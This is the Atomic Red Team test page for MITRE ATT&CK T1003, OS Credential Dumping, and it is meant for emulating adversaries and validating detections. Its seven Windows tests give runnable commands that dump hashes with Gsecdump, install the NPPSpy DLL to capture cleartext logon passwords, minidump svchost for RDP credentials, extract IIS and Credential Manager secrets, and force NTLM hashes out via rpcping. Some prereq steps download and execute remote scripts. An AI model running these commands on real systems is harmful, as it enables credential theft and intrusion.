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T1003 - OS Credential Dumping

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

Atomic Tests


Atomic Test #1 - Gsecdump

Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.

Supported Platforms: Windows

auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9

Inputs:

Name Description Type Default Value
gsecdump_exe Path to the Gsecdump executable path PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
gsecdump_bin_hash File hash of the Gsecdump binary file string 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
gsecdump_url Path to download Gsecdump binary file url https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

"#{gsecdump_exe}" -a

Dependencies: Run with powershell!

Description: Gsecdump must exist on disk at specified location (#{gsecdump_exe})
Check Prereq Commands:
if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
  Move-Item $binpath "#{gsecdump_exe}"
}


Atomic Test #2 - Credential Dumping with NPPSpy

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

Supported Platforms: Windows

auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"

Cleanup Commands:

$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore

Dependencies: Run with powershell!

Description: NPPSpy.dll must be available in ExternalPayloads directory
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll"


Atomic Test #3 - Dump svchost.exe to gather RDP credentials

The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.

Supported Platforms: Windows

auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full

Cleanup Commands:

Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore


Atomic Test #4 - Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)

AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference

Supported Platforms: Windows

auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*

Dependencies: Run with powershell!

Description: IIS must be installed prior to running the test
Check Prereq Commands:
if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
Get Prereq Commands:
Install-WindowsFeature -name Web-Server -IncludeManagementTools


Atomic Test #5 - Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)

AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference

Supported Platforms: Windows

auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

C:\Windows\System32\inetsrv\appcmd.exe list apppool /config

Dependencies: Run with powershell!

Description: IIS must be installed prior to running the test
Check Prereq Commands:
if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
Get Prereq Commands:
Install-WindowsFeature -name Web-Server -IncludeManagementTools


Atomic Test #6 - Dump Credential Manager using keymgr.dll and rundll32.exe

This test executes the exported function KRShowKeyMgr located in keymgr.dll using rundll32.exe. It opens a window that allows to export stored Windows credentials from the credential manager to a file (.crd by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.). Reference: https://twitter.com/0gtweet/status/1415671356239216653

Supported Platforms: Windows

auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a

Attack Commands: Run with powershell!

rundll32.exe keymgr,KRShowKeyMgr


Atomic Test #7 - Send NTLM Hash with RPC Test Connection

RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Ref: https://twitter.com/vysecurity/status/974806438316072960

Supported Platforms: Windows

auto_generated_guid: 0b207037-813c-4444-ac3f-b597cf280a67

Inputs:

Name Description Type Default Value
custom_port Specify the custom port number integer 1234
server_ip Specify the server IP address. If not specified, the loop back IP will be used string 127.0.0.1

Attack Commands: Run with powershell!

rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null